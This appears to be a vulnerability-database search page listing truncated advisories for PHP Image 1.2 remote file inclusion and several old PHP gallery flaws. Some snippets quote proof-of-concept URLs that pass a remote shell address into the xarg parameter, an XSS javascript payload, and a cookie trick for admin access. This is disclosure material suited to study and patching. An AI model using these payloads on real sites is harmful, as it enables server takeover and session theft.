53 matches found
CVE-2007-5697
Multiple PHP remote file inclusion vulnerabilities in PHP Image 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the xarg parameter to 1 xargcorner.php, 2 xargcornerbottom.php, and 3 xargcornertop.php...
CVE-2007-5697
Multiple PHP remote file inclusion vulnerabilities in PHP Image 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the xarg parameter to 1 xargcorner.php, 2 xargcornerbottom.php, and 3 xargcornertop.php...
CVE-2007-5697: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in PHP Image 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the xarg parameter to 1 xargcorner.php, 2 xargcornerbottom.php, and 3 xargcornertop.php...
PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: td style="background-image: urlimages/cortopfill.jpg;"?php include$xarg; ?/t...
PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ============================================================ PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities ============================================================ PHP Image v1.2 Multiple Remote File Inclusion Download:...
PHP Image 1.2 - Multiple Remote File Inclusions
PHP Image 1.2 - Multiple Remote File Inclusions PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php?...
phpimage-rfi.txt
PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...
PHP Image 1.2 - Multiple Remote File Inclusions
PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...
CVE-2006-4421: Undefined Security Weakness
Cross-site scripting XSS vulnerability in template/default/thankscomment.php in Yet Another PHP Image Gallery YaPIG 0.95b allows remote attackers to inject arbitrary web script or HTML via the DREFRESHURL parameter...
CVE-2005-4800: Undefined Security Weakness
Direct static code injection vulnerability in Yet Another PHP Image Gallery YaPIG 0.95b and earlier allows remote authenticated administrators to inject arbitrary PHP code via the TestGallery parameter in a modinfo action to modifygallery.php, which inserts the code into guidinfo.php. NOTE: this...
CVE-2005-4801: Undefined Security Weakness
Multiple cross-site request forgery CSRF vulnerabilities in Yet Another PHP Image Gallery YaPIG 0.95b and earlier allow remote attackers to perform unauthorized actions as a logged-in user, as demonstrated by tricking the administrator to access a web page that performs a modinfo action in...
CVE-2005-4799: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in Yet Another PHP Image Gallery YaPIG 0.95b and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Homepage field aka the Website field in an "image-related comment" and 2 the imgsize field in view.php. NOTE: due to...
Security holes : PHP Image View, NewsPro, Photo DB, As_web, GuestBook
Hi all : 1 PHP Image View 1.0 http://www.onlinetools.org Problems : - XSS - phpinfo; Exploits : - /phpimageview.php?pw=show - /phpimageview.php?pic=javascript:alertdocument.domain 2 NewsPro 1.01 http://www.aspbin.co.uk Problem : - Admin access Exploit : - Set cookie "logged,true" on the...